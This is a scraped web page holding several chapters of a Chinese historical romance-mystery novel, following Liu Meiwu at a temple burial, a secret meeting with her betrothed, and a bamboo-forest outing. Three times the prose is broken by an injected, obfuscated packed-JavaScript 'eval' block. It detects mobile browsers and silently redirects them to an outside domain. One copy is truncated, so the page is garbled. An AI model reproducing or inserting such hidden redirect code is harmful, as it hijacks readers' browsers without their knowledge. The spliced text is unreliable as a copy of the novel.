;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268968|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿爬行,越爬越高,越高越小,越小越快,倏然不见了踪影。 柳眉妩心中惊骇不止,喃喃道:“命悬一线,何其可危。” 正出神,忽见天上掉下个桃儿,色泽新鲜,叶犹带露。众人又惊又奇,又见一阵电闪雷鸣,毛线萎然落地,老人当即大叫:“不好,王母娘娘发现了!毛线断,天梯毁,我儿性命堪忧啊!” 话音未落,又见一物轰然坠地,捡起来,竟是小孩的脑袋。老人伏地大哭,不一会儿,身边掉下一只手,又掉下一只脚,纷纷扬扬,落了一地。 变故生得突然,众人又惊又惧,喊叫声乱作一团。 老人将肢体一一捡起,收进箱子,合上盖笼,这才朝看台说道:“老朽晚年得子,只这一个孽障,每日随我走南闯北,混口饭吃。今日贪嘴,上天偷桃,不想遭此惨祸!我想把他的尸首背回去安葬,可惜山高路远,身无银钱,还望各位看官大人可怜可怜,资助些车马费用。” 众人不疑有他,纷纷拿出银钱,口中念着“南无阿弥陀佛”“大慈大悲观世音菩萨”,就当行善积德了。 老人往看台走一遭,再回来,端盘上的碎银铜板堆叠成山。他收好赏钱,这才敲着箱盖喊道:“小孽障,不出来谢赏,还等什么?” 话落,一个蓬头散发的小孩用头顶开箱盖,直身站了起来,手里还拿着桃子,正吃得津津有味,闻声向看台处叩头道谢。 ——竟是方才的小孩。 众人回过神来,一面鼓掌,一面喝彩,声浪儿一潮接一潮,赏钱更是漫天飞洒。柳眉妩大为惊奇,也随手打赏了些。 一老一小鞠躬谢幕,台上白雾丛生,又听一阵锣钱箫鼓齐鸣,敲得震天响。待到烟消雾散,原是好戏开场了。 戏文唱的是,蜀中富家子张协进京赶考,路遇贼人拦劫受伤,不得已夜宿山神庙。山神觉得庙门破旧,便让判官小鬼各缚了一只手,充当左右门,不得随意开口。两鬼得令,听话假扮庙门,却并不安生,叽叽喳喳总有话说,就连挨打受罚时,也要急急忙忙喊痛不迭。 半晌过后,台下偶有笑音,窸窸窣窣,此起彼伏,柳眉妩却始终神色淡淡。 “灵儿,可是不喜欢?”杨无咎关切地问。 柳眉妩点头道:“珠玉在前,瓦石难当。蜀音嘈杂太甚,净弄些歪乐器,筝儿乱弹乱研,笙笛儿胡捏胡吹,一声蛮了一声呔,一句高了一句低,不晓得到底是杂耍还是唱戏。虽说幽默,也确实诙谐,我却喜欢不起来。 “张协为王氏所救,得妻子卖发资助,这才有了盘缠,进京赶考,高中状元。结果发迹负心,转头却嫌弃糟糠之妻貌陋身卑、家贫世薄,更在赴任途中剑劈发妻。此等忘恩负义、狼心狗肺之人,真该让老天开开眼,五雷轰其顶! “再说王宰执,也是个不清醒的,救了王氏又收为义女,固然好心,结果转头就乱点鸳鸯谱,设计将她许嫁张协。说什么‘梓州重合鸾凤偶,一段姻缘冠古今’,我不觉得破镜重圆,只觉得晦气透顶!” “是这样的,蜀戏便是读书人见了羞,村浊人见了喜。” 杨无咎见她义正辞严,也不多辩什么,索性带她离开戏楼,逛起了香市。等时辰差不多了,又招手唤来竹轿,让柳眉妩坐上,准备上山。 柳眉妩却有些踌躇。 原因无他。说是竹轿,却无帷无盖,不过两根竹竿架了只竹凳,由前后两人挑在肩上行路。简陋粗糙至此,她万万不敢坐上去。 杨无咎向她解释道:“这是南山簥子,香客往来皆以此代步,抬轿的师傅也都是老手,不会有事的。” 柳眉妩神色凝重,“不用了,大表哥,我还是自己走吧。” “走到万佛寺可不是闹着玩的,灵儿,你身子会吃不消。不用怕,我在一边守着呢,不会让你有事的。” “小姐,放宽心,这条路我们走了几十年了,闭着眼睛都能把你抬上去。” 好说歹说,终是耐不住杨无咎苦心劝说,加上轿夫在一旁自吹自擂,柳眉妩也知叶灵儿的身子状况,做足心理准备,便颤巍巍上了竹轿。昂首挺胸,拘手束脚,颇有几分英勇就义的气势。 杨无咎忍俊不禁,却也言出必行,一面与她闲话介绍,一面密切留意观察,好在无事发生。 两炷香后,轿夫终于停步,柳眉妩抬头便见“敕修万佛寺”的匾额,两只狻猊石兽坐落在树丛中。不等反应过来,忽听一声钟鸣悠扬,宛若天籁,余音未散,又闻梵呗齐吟大悲咒。凄凄切切,涤荡心灵,催动脏腑。 正恍神时,寺门前忽然探出个脑袋,朝他们急急招手道:“你们快些,李二小姐要悬棺了!” 14. 金棺 柳眉妩下意识左右张望,不见其他人,心中奇怪,又转头看向杨无咎。杨无咎也转头看她,笑着解释道:“应该是二弟来催了。灵儿,我们快些走吧。” 杨无名? 柳眉妩还是不解,却也没多问,点点头,随乞儿进了寺庙,过石拱桥,往大悲殿行去。越往里走,耳边的梵呗声便越清晰可闻。曲径通深,柳暗花明,空旷处已然围了许多人,水泄不通。 乞儿拨开人群,将他们带到二楼,柳眉妩远远便看见杨无名凭栏而立。便是一袭白衣,身无长物,也丝毫不减贵气,只让人觉得天然去雕饰。 见到他们,眉眼舒展,又是一派亲和模样,“大哥,灵儿表妹,你们来了。” 柳眉妩叫了人,在震耳的梵呗声中问出了疑惑,“二表哥,这是在做什么?” “李二小姐今日出殡,又逢清明道场,香客们便来看热闹。” 柳眉妩和杨无咎对视一眼,“难怪一路上,总看见李家人在布施,原来如此。” “非也。”杨无名摇头道,“侯夫人乃合江侯氏之后,其先祖可追溯到北魏的代北复姓侯伏氏,入蜀汉化后才改为侯氏。因而不比中原讲究入土为安,他们信奉悬棺崖葬,大家觉得新奇,这才三五成群来看热闹。” “悬棺崖葬?”柳眉妩放目望去,依稀可见对面岩壁内陷,已然凿出一处洞穴福地。再环顾,三面断崖对峙,一面敞开如门,确实是处藏风聚气的上等墓地,“可是,这么高的山崖,这么远的距离,如何把李二小姐的棺椁移送过去?” 杨无名正要说话,竹悠然忽然走了过来,径自开口道:“我看完金棺了,没什么发现。” 柳眉妩闻言四处张望,奇怪道:“竹姐姐,哪里有金棺?” 竹悠然伸手下指,解释道:“我说的金棺,不是用金打造的棺,而是整石凿成的棺。如果棺身雕有画像,则更尊贵,又被称为画像棺。我去看的,便是李二小姐的画像棺。” 柳眉妩似懂非懂。 “你感兴趣?我带你下去看。” “好呀,多谢竹姐姐。” 两人携手下楼,穿过白幡,挤进人群,便见一座庞然石棺停在空地。 棺身雕有青龙、白虎、朱雀、玄武四灵,造型古朴,做工精细,极富动感。右侧刻有铭文,上书:“爱女李氏苏苏,永乐十四年十一月辛亥夭,十五年三月癸卯葬,呜呼哀哉!” 柳眉妩无声叹息,又随竹悠然转到前档,忽见棺上双阙耸立,浮雕栩栩如生。柳眉妩停住步子,不解道:“圣人三阙,诸侯百官双阙或单阙,平民商贾不得立阙。李二小姐无封无诰,如何棺上能刻双阙?” “灵儿,你再看看双阙之间,刻的什么?” “天门?”柳眉妩眯眼细看,辨出两字铭文,了然笑道,“原来如此。” “不错,此双阙并非陵墓阙,而是天门阙,也叫天彭阙。经此阙,亡者向死而生,魂归岷山,说不定还能去往昆仑山,拜会西王母,求得不死药呢。” 柳眉妩颔首,深以为然。 果不其然,再转到另一面棺身,便是凿着昆仑山遇仙的画像。西王母端坐龙虎座,玉兔蟾蜍捣着不死药,三足乌和九尾狐往来穿梭,长耳双翼的仙人赤身裸体、自在遨游。 柳眉妩正看得入神,忽听竹悠然在后档叫她:“灵儿过来,你看这是什么?” 柳眉妩闻声过去,端详一番后,了然道:“人面蛇身,手托日月,这是伏羲和女娲。” “不错,伏羲女娲是兄妹,也是夫妻,故而往往成对出现。蛇尾交叉或重叠,暗示生命延续与轮回。李二小姐虽有婚约,生前却不曾完婚,故而蛇尾分开,没有相交。” 柳眉妩无端想到什么,喃喃自语道:“伏羲女娲,交尾是夫妻,那没交尾,是兄妹吗?” 她猛然抬头,不期撞上一道视线。如冰川寂,如火海燎,再仔细看,却又空无一物。如梦幻泡影,如露又如电。 “什么?”竹悠然没听清,转头问她。 柳眉妩回过神来,不答反问道:“竹姐姐,那是李二小姐的未婚夫吗?” 竹悠然顺着她的视线看去,愣了一瞬,才回答道:“那是李丹阳,李家的大公子。” “那他们兄妹,关系肯定很好吧。” “并没有,他和李苏苏是死对头。水火不容,相看两厌,恨不得天天大打出手。”竹悠然回忆道,“两人同父异母,传闻中,侯如夫人害死了崔夫人,这才得以妾室转正,成为侯夫人。” 柳眉妩看向竹悠然,竹悠然也看向柳眉妩,沉默半晌,两人异口同声道:“你怎么……” 又一齐止住。 竹悠然道:“我听说的。” 柳眉妩道:“我看出的。” “眼见不一定为实。” “空穴才会来风呢。” “空穴来风,未必无因。” “耳听为虚,眼见为实。” 两人相视一笑,又默契止住话头。 一刹那,梵呗声歇,恍然天地无声。 下一瞬,一道焰火在空中绽开,万千光华盛放,火树银花,转眼又如流星般往四野垂落。随即第二道,第三道,此起彼伏,漫山遍野都热闹起来了。 山风送来钟声,响了三下又停住。 吉时到了。 * 柳眉妩被带到大雄宝殿。 因李苏苏悬棺崖葬,万佛寺里大小沙弥都去了后山,为她作法超度。殿门一掩,反而安静得很。 “宝儿,你怎么在这里?” 殿中道场庄严,佛前香花供养。柳眉妩转头看见长明灯和长命幡,她的名字格外鲜艳,显然是最近才写上的,又问宝儿:“你什么时候供的?” “来蜀郡之后。”宝儿为她取来三炷香,郑重其事地道,“先还愿吧,娇娇儿。还了旧愿,菩萨就能保佑新愿了。” 柳眉妩有些好笑,却还是依言上了香。余光瞥见一处牌位,顺势又礼了三拜——红底金字,九龙缠绕,上施华盖,正是“当今圣人万万岁”。 宝儿蹭过来黏在她身上,脑袋埋在她的肩颈处,语气满是委屈,“娇娇儿,你都不说想我。我带你走,你还推托。” “大庭广众之下,你上来便拉着手,我不大叫非礼,已然是慈悲为怀了。你不感恩戴德,反倒恶人先告状。”柳眉妩揉了揉他的脸,语气带着揶揄,“而且,我们也就几个时辰没见吧,有什么好想的。” 宝儿纠正她,“一天一夜,已经过十二个时辰了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268969|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是吗,那昨晚偷偷爬床来的登徒子是谁呢?” 宝儿惊讶道:“还有这回事!” “可不是,来也匆匆,去也匆匆,掉了东西都不知道。” 宝儿垂下眼,避开她的视线,好似漫不经心地问:“他掉了什么东西?” 柳眉妩摸着他的脑袋顺毛,顺到最后忽然用力,拽下一根头发。宝儿呲牙咧嘴地喊疼,她却只是似笑非笑地道:“掉了一根头发,和你的一模一样。” “娇娇儿,你诈我!”宝儿反应过来,收了浮夸表情,收不住满脸委屈。眸色深深,似有水光。 柳眉妩无奈扶额,“成都不比长安,御史府如此便算了,叶家你也敢胡来,就不怕被家丁发现,将你乱棍打出。” “你我父母之命,媒妁之言,青梅竹马,两情相悦,为何要怕?” 柳眉妩摇头,“今时不同往日。” 宝儿气得咬她一口。 柳眉妩顾忌佛前,一面握着嘴巴,一面推他道:“宝儿,佛门净地,不得孟浪。” “色即是空,空即是色,佛祖又不是凡夫俗子,会作如是观。” 柳眉妩说不过他,却说什么也不准他再亲了。宝儿再三央求无果,只得作罢,手却抱着怀中人不松开,语气低低的,似在撒娇,似在祈求,“快些回京吧,快些成婚吧,好不好?这样我就能日日夜夜抱着娇娇儿,再也不分开了。” 柳眉妩愣了一瞬,随即灵光乍现,“对哦,我怎么没想到成婚。” 宝儿眨着眼看她。 却见她缓缓笑道:“新娘枯尸案,当然要有新娘了,不成婚又怎么会有新娘呢。” 宝儿倏然瞪大了眼,直截了当地拒绝:“不可以!” “为什么不可以?你方才还说要娶我的。” “娇娇儿,我是要娶你,不是要害你。王不留行凶行累累,残害新娘又逃之夭夭,作恶多端却逍遥法外,就连王爷都无计可施。我断不能眼睁睁看你以身犯险。” 柳眉妩只是看他。 “而且你也说了,今时不同往日。如今你是叶灵儿,没有内力,没有武功,若是……”宝儿止住哽咽,连忙摇头,“也没有若是!无论如何,总之太危险了,我不同意!” 柳眉妩存心逗他,点头道:“确实,今时不同往日。如今叶灵儿的未婚夫是杨无咎,不是你。” 宝儿登时气红了眼,眼泪稀里哗啦地流,咬牙切齿地放狠话:“那更不行!你不要想了!你不能嫁给别人!只能嫁给我!我们回长安就成婚!我们明天就回长安!不!今天就回!现在就回!” 柳眉妩愣愣站着,只觉得宝儿的眼神熟悉至极。有什么在脑中盘旋往复,思绪万千,却怎么也理不清楚。 钟声忽然响起,山风推开虚掩的门,檀香混着鹅香笼在鼻端。宝儿欺身吻了上来,眉眼清晰,水光潋滟。柳眉妩瞪着眼,恍然大悟。 是了。 就是这般眼神。 李丹阳看李苏苏的金棺时,就是宝儿看她时的,这般眼神。 那不是恨,恨比爱纯粹。 恨就是恨。 爱却不然。爱是爱,又不是爱。爱是生老病死,是爱别离,是怨憎会,是求不得,是五阴炽盛。 15. 清欢 竹悠然寻来时,远远便见殿门半敞,一男一女贴身依偎着,好似在说悄悄话。崖葬已经结束,香客沙弥陆续回殿,身后的动静越来越大,她不得不出声道:“灵儿。” 柳眉妩闻声转头,“竹姐姐。” 竹悠然于是看清对面模样,心里纳罕,口中却唤道:“宝公子。” 宝儿眉眼平静,抿着唇,朝她点头致意,随即又看回柳眉妩。姿态温驯,神色自然,伸手道:“你的……” 柳眉妩抬步走来,挽过她的手,“走吧,竹姐姐。” “去哪儿?”竹悠然不解,却还是随她走了几步。 “你来找我,不是要带我去哪里吗?” “不是。我来找你,是想告诉你,大公子和师弟待会儿要来宝殿上香,你别走远了。”竹悠然顿了顿,忽然朝她凑近,小声道,“灵儿,收敛些。” 柳眉妩眨了眨眼,神色无辜。 竹悠然补充道:“你管管他,让他收敛些。他的眼珠子就差掉在你身上了,不用有心人,明眼人一见便知。” 柳眉妩了然,却没想遮掩,她和宝儿本就不是见不得人的关系。指腹为婚,青梅竹马,自小便一处儿玩闹长大,情谊自然非比寻常。不说一个杨无咎,便是再有千千万万个杨无咎,也是亲不间疏,先不僭后。 她知道,宝儿也知道。 她却还是有些惊讶。惊讶竹悠然明明撞见了他们,却不责不怪,反倒出言提醒。 似是看穿她的疑问,竹悠然解释道:“我向来帮理不帮亲,便是帮亲,也是帮你。更何况,你和大公子本就是父母之命多,儿女之情少,你移情别恋,我能理解,也会支持。” 柳眉妩倏然笑了,“谢谢你,竹姐姐。但我没有移情别恋,自始至终,都只喜欢一个人。” 竹悠然愣了愣,又见柳眉妩回头向宝儿招手,于是宝儿小步跑来,垂手站在一旁看她,笑意盈盈。柳眉妩不说话,他也不说话。 竹悠然便也不说话,转头去看云。 “宝儿,你方才要说什么?” 停如絮,流如丝,似云还似非云。 “你的口脂花了。”宝儿伸指,轻轻拂过柳眉妩唇畔擦拭,收手时把她耳上带的坠子一拨,音色含笑,“杏子味的,好吃。” 动作狎昵,说话也轻佻,偏偏宝儿眸光清澈,一派天真无邪的模样。 聚散无常,舒卷自如,看云还是云。 * 午钟三响,杨无咎和杨无名去领素食,留下柳眉妩和竹悠然在禅房闲聊。因想着方才的签文,柳眉妩总有些心不在焉。 竹悠然以为她心中记挂宝儿,主动说起悬棺崖葬的事儿,“灵儿你没看见,那场面当真是壮观!数百十人拉着碗口粗的铁索,一齐使劲儿,竟是生生将金棺吊了下去,又吊了上去。李家人也大方,焰火放不停,赏银到处撒,只要说了吉利话就有,好不热闹。” 世以厚葬为德,薄终为鄙,柳眉妩都知道。只是想象一番后,还是禁不住喟然叹道:“父母之爱子,不论生与死。只是如此厚葬奢靡,到底铺张了些。” 竹悠然正要说话,忽听房门被敲响,一个管家模样带着几名家丁,朝她们恭敬笑道:“大公子可是下榻此间?我家大人送来一点心意,还望笑纳。” 柳眉妩和竹悠然对视一眼,不明所以,便有些不好回答。可巧杨无咎和杨无名端了素面回来,闻言便笑着纳了,“叶大人有心了,刘管家有劳了。” “哪里哪里,小人荣幸之至。” 两人又说了几通客套话,刘管家带人原路返回。见人走远,柳眉妩这才指着案上的瓷盅问道:“大表哥,这是什么?” “方才领素面时遇见九思,闲聊了几句,说是从广陵带回的特色小食,唤作鹅毛雪片,送来给我们尝尝。”杨无咎一面解释,一面揭盅。 柳眉妩探头一看,瓷盅内晶莹剔透,粉嫩可爱,不免有些疑惑道:“不就是藕粉吗,为何叫鹅毛雪片?” 竹悠然解释道:“书上记载,淮以南皆泽国,居人多莳藕,他县为红莲,独宝应为白莲。冬日掘取老藕,捣汁澄粉,淘汰既净,去其渣滓,存其甘液,风吹日曝,渐成碎珠。干之,以刀削片,精洁如鹅羽,又如白雪片片,纤尘不染,故名鹅毛雪片。” 柳眉妩听得似懂非懂。抬手剜一小匙,光下看色泽琳琅,入口清甜,较之别的藕粉似乎确实更好吃些。 竹悠然见柳眉妩吃得眉眼弯弯,当即拿起匙子也要动作,又忽然顿住,指着瓷盅笑道:“皑如天上雪,皎若云间月。你们说,像不像?” 几人低头去看,便见藕粉晶莹粼粼,上覆糖霜花蜜,霜白胜雪,蜜圆似月,可不应诗得紧。 “妙哉!”柳眉妩抚手赞道,忽然想到什么,转头又问杨无咎,“大表哥,你方才说的叶大人,我认识吗?” “叶绪,叶九思。”杨无咎介绍完,忍俊不禁道,“还真别说,九思和你倒确实有些渊源。他的年纪虽比你大,若按辈分,却要叫你一声太姑奶奶呢。” “这辈分也忒悬殊了些。”柳眉妩震惊之余,还有疑惑,“既是大龄小辈,大表哥,你们又是怎么认识的?” 杨无咎娓娓道来:“九思不比你们,他们一支自祖上家落中道,到九思时可谓家徒四壁。那时我已接手家中生意,他求助上门,希望我念着杨叶两家的姻亲关系,给些帮助。我知他穷途末路,也确实才华出众,当即便同意了。 “事实证明,我没有看走眼。九思高中后,任琅琊县令,劝课农桑,政绩斐然,很快又迁广陵郡丞。可惜老太爷身子实在不好,病去后,九思只得回来丁忧。好在三年之期将满,等到下月,九思便可起复原职了。” 几人且聊且食,很快素面见底,鹅毛雪片也吃完了。正值清明,寺中禅房不够午睡,几人也不多作逗留,休整好了便下山,径往竹里馆去。 * 正午阳光迎头洒下,柳眉妩被竹悠然环着身子,一路上后背贴前胸,马儿又颠簸,难免有些闷热。直到进入西山竹林,幽篁森森,遮天蔽日,便是晴日无风,也觉凉快许多。 下马入馆,小厮端来四碗雪泡豆儿水,几人围坐纳凉,继续闲话。 竹悠然因见帘外修竹翠色,天意潋滟,忍不住提议道:“既来了竹里馆,少不了竹林野趣。今日的晚膳,不如就由我们自己动手做吧,我来时看到林子里遍地都是春笋和蕨菜。” 柳眉妩惊讶极了,“竹姐姐,你还会做羹汤吗?” “红袖山不比将军府,没有仆从,凡事都要亲力亲为。在山上,我和师弟常常自己下厨,久而久之,熟能生巧,便会一些了。” 柳眉妩眨着星星眼看她。 “下厨其实很简单的,没你想的那么难,多炸几次厨房就会了。”竹悠然狡黠道,“灵儿,你采过笋吗?” 柳眉妩摇头。 “那待会儿和我一起去采笋,怎么样?” 柳眉妩还没说话,杨无咎先反对起来,“灵儿身子弱,不宜操劳。” “只是采个笋而已,算不上操劳。大公子放心,我保证,肯定不会累着灵儿的。” 柳眉妩这般听着,早有些跃跃欲试了。杨无咎便也不好多说什么,只是再三叮嘱她注意休息,不要累着。柳眉妩自然应好。 闲话一阵,散了热,也解了乏,柳眉妩跟着竹悠然四处走走逛逛,发现竹里馆当真是建得好。依山傍水,前有竹林,后是浅溪,山水潺潺,意趣无穷。 “我知道了!晚膳便做一道山海粥,灵儿你觉得如何?” 柳眉妩正坐在溪石上,有一下没一下地往水里丢石子玩,忽听竹悠然拍手叫道,吓了一激灵。她回过神,捂着心口,还有些心有余悸,“竹姐姐,什么是山海粥?” 竹悠然也被她吓一跳,凑近摸了三下柳眉妩的额头,口中念念有词:“天罗神地罗神,五方五道大将军,收摄灵儿魂魄归身。魂不丢,魂归身,魂归身,人精神。南斗星君北斗星君,急急如神宵普化玉清真王律令摄。” 见柳眉妩缓过神来,这才稍稍放心,笑着解释道:“山海粥,就是小米粥里加入蕨笋和鱼虾,如此既有山之珍,又有海之味。灵儿你说,是不是形象又风雅。” 柳眉妩了然,点头没意见。两人又回竹里馆,杨无咎和杨无名也没意见。竹悠然当即拍板道:“既然如此,那我们就分工去做吧。我和灵儿采蕨采笋,大公子和师弟捉鱼捉虾。” 几人自然还是没意见。 说走就走,待柳眉妩和竹悠然走在林间,入目皆是翠竹篁篁,远山绰绰。清风徐来,好不惬意。青天白日,透过掩映的竹荫淌下来,隐约滤成了绿色。脚下竹叶刚刚没过鞋底,踩在上面松松软软,好似漫步在浓翠如黛的云河。 “灵儿,你知道我为什么姓竹吗?”竹悠然忽然转头问她。 “不是随父母姓,就是随师父姓吧?” 关于她的身世,柳眉妩知道一些,但不多,也不确定,只能猜测道。 竹悠然却摇头,“我是孤儿,无父无母,无名无姓,师父也不姓竹。而我之所以姓竹,是因为师父在竹林里捡到我,于是让我跟竹娘娘姓。” “竹娘娘?” “是啊,竹枝词罢歌舞歇,竹林深处拜娘娘。印象中每到除夕,师父就会带我去祭拜竹娘娘,她会一字一句地教我祷词,然后帮我选一根最高最壮的竹,让我一边摇一边唱。”竹悠然说着,手扶青竹轻轻摇动,“摇竹娘,摇竹娘,你也长,我也长。旧年是你长,今年让我长,明年你我一样长。” 柳眉妩会心一笑,“怪不得蜀郡遍地是竹,原来是有竹娘娘保佑。” “不仅多竹,还多笋呢。”竹悠然忽然伸手,指着竹下青笋道,“这山中笋素有林中肉的美称,鲜嫩生脆,又合时令,可好吃了。灵儿你要多吃些,对你的身子大有好处。” “你真像大姐姐。”柳眉妩脱口而出。 竹悠然疑惑道:“灵儿,你还有姐姐吗?” “没,没有。我的意思是说,竹姐姐什么都懂,又很照顾我,就像大姐姐一样。” 竹悠然不疑有他,兀自笑道:“我比你大两岁,你又唤我一声竹姐姐,照顾你是应该的。” “竹姐姐,你真好。”柳眉妩感动道。 竹悠然见她乖巧模样,忍不住揉了揉柳眉妩的脸,打趣道:“灵儿,我总算知道宝公子为何这般喜欢你了。若我是男子,也想把你早些娶回家。” 柳眉妩跺跺脚,捂着脸跑开了,“竹姐姐,别打趣我了,快快采笋吧。” “哎呀,灵儿别跑。这里笋多,我们可以在这里做傍林鲜吃。” “傍林鲜又是什么?”柳眉妩跑了几步,又折身回来问竹悠然,愈发觉得自己是个四体不勤五谷不分的娇小姐。 “林笋盛时,扫叶就竹边煨熟,其味甚鲜,名曰傍林鲜。” 柳眉妩似懂非懂。 竹悠然蓦地拔剑,挑起落叶纷纷,覆在两颗竹边青笋上,层层叠叠,像两座小山丘。收剑递给柳眉妩后,她蹲下身检查埋笋的竹叶,确保厚薄均匀才熟得透。没问题了,又从怀里摸出个火折子,点燃山底,眼看着火舌蔓延,迅速舔上了山顶。 柳眉妩抱着剑,一动不动地呆呆看着,竟有些痴了,半晌才问道:“竹姐姐,此剑不凡,可有名字?” “放下。” “什么?” “放下。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268970|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >柳眉妩依言放下了剑,又委屈巴巴地看向竹悠然。 “灵儿,你怎么了?”竹悠然奇怪道。 “不是你让我放下剑的吗?” 竹悠然哭笑不得,“我的意思是,此剑名放下。” 柳眉妩反应过来,有些不好意思,揉了揉脸,疑惑道:“为何取名放下?” “一念放下,万般自在,自勉罢了。”竹悠然捡起剑,笑着挽过柳眉妩的手,“走吧灵儿,我们先去采蕨。等采完蕨回来,傍林鲜也就能吃了。” 两人携手同行,且走且停,很快采了满满一筐蕨菜。竹悠然似乎心情不错,又放声高歌起来:“几时回去,做个闲人。对一张琴,一壶酒,一溪云。” 柳眉妩为她鼓掌。 往回走,远远便闻到浓郁的笋香。走近去看,将灭未灭的竹叶灰里,还有星星点点的火光。竹悠然扒开竹叶灰,砍下焦黑粗糙的笋,用帕子包了递给柳眉妩,“灵儿,你尝尝,小心烫。” 春笋刚刚煨好,剥开黑黢黢的皮,便是白花花的肉。咬一口,热乎乎,脆生生,软糯糯,说不出的鲜香美味。 竹悠然见她吃得满足,噗嗤笑出了声。柳眉妩不解,从笋里抬起头,问她:“竹姐姐,你笑什么?” 竹悠然伸出拇指,轻轻蹭了蹭柳眉妩的鼻尖和脸颊,好笑道:“你慢些吃,没人和你抢,小花猫。” 柳眉妩脸上的灰没了,随即又添了层淡淡的红。如此笑闹一阵,两人找了个舒服的地方,席地而坐。 此处茂林修竹,花木扶疏,青山隐约,碧云蓊然,便如画中景一般。而柳眉妩一身翠色罗裙,捧着傍林鲜,似是融入其中,仿佛画中人一样。风过簌簌,竹叶纷纷,便是竹悠然一身杏子红,也不免落了一肩翠色。 “灵儿,你知道吗?在遇见你之前,我一直觉得,像你这般深闺大院里的娇小姐,不会与我坐在地上,吃傍林鲜,吹竹风,看流云的。” “怎么不会?竹姐姐有趣,傍林鲜美味,竹风凉快,流云自在。这样的际遇,可遇不可求,旁人便是想求都求不来呢。”柳眉妩转头看向竹悠然,“而且,我曾和大表哥说,我很羡慕你。羡慕你有那样好的精气神,每日自由自在,快活逍遥。” “分享一句我很喜欢的话吧。休夸我能胜人,不如人者常众;休怨我不如人,不如我者更多。”竹悠然温声笑道,“所以,灵儿,不必羡慕我,你永远是独一无二的自己。” 两人推心置腹聊完,新煨的春笋刚好熟了,采好回到竹里馆时,杨无咎和杨无名早回来了,甚至还洗净了鱼虾,焚香下起棋来。 竹悠然当即凑近柳眉妩,小声咬耳朵:“不用猜,肯定又是师弟输。” “何以见得?” 柳眉妩话音未落,便见杨无咎落下黑子,“二弟,你又输了。” 杨无名笑道:“是大哥的棋艺又进步了。” “非也。明明好几次,你能将我杀得片甲不留,你却手下留情了。”杨无咎淡声道,似叹非叹,“二弟,不必特意让我。” 杨无名还是笑。 竹悠然不知想到什么,忽然问她:“灵儿,你觉得是师弟好看,还是大公子好看?” 柳眉妩不假思索地回:“二表哥好看,大表哥也好看,各有各的好看。” 竹悠然便捂嘴笑起来。 “你们回来了。”许是两人的视线太惹眼,杨无名被看得有些不自在,轻咳一声,目光掠过柳眉妩腰间,找话题道,“灵儿,剑用得可还称手?” “望舒很称我手,也称我心,多谢二表哥割爱相赠。” 杨无名笑意更甚,“你喜欢便好。” 柳眉妩确实喜欢。 她这人其实挑剔得很,宁缺毋滥,之前满长安寻了三月,才寻到一把称手又称心的剑,取名扶光。杨无名送的上善,虽不及扶光锋芒凛冽,剑气如虹,却也算得上柔软无匹,锋利无比,所以改了旧名,重取作望舒。 扶光望舒,一日一月,一刚一柔,都是她的心头好,腰间刃,掌中物。 闲话说毕,竹悠然把煨好的傍林鲜留给他们,带着柳眉妩去厨房淘米作炊。他们鱼虾捉了不少,山海粥用不完,干脆又挑了些出来,打算做清蒸鱼和炸溪虾。 柳眉妩不会帮厨,竹悠然也没想让她打下手,只让她自己坐着玩儿。柳眉妩闲不下来,在厨房转来转去,不知想到什么,吩咐小厮烧一壶溪水送去茶室。 竹悠然笑道:“灵儿,你要点茶吗?” 柳眉妩也笑起来,似是而非地眨了眨眼睛,“竹姐姐,你猜。” 话了拂衣去,深藏是与非。 食材下了锅,文火慢炖着,竹悠然让小厮仔细看火,自己转去茶室看柳眉妩忙活。 茶饼已研罗成末,柳眉妩把细末倒入烫好的茶盏,加少许沸水,用茶筅调成溶胶。再少量多次地注水,搅拌,直到沫饽覆满盏面,久聚不散。 点茶步骤繁复细致,足有七汤,她端端而坐,神色自若,动作亦如行云流水。便是回旋击拂时,乳雾汹涌,汤花多多,也没有溅出半滴。 竹悠然拍手赞道:“美人点茶,赏心悦目,灵儿真厉害。” 柳眉妩笑着应下,继续用茶匙点清水,在沫饽上徐徐作画。寥寥几笔,便见一丛雪竹跃然汤上,风骨凛然。她将茶盏递给竹悠然,“投我以佳肴,报之以茶道。匪报也,永以为好也。” “汤纹水脉,出水丹青,灵儿点茶妙极,分茶也妙极。恭敬不如从命,那我就不客气了。” 竹悠然接过茶盏,但见雪竹覆汤,纤巧如画,入口生津,沁人心脾。她眉眼弯弯,当即赞不绝口:“观之雅白,品之清润,人间有味是清欢,古人诚不我欺。” 16. 梦魇 “娇娇儿,醒醒。” 柳眉妩睁开眼,恍惚听到一阵爆竹声响,噼里啪啦震人耳鼓。回过神,不期然对上菱花镜里的另一双眼。 大姐姐拿着金蚕丝为她开脸,手中轻柔,口中也轻柔,“这么困吗?” 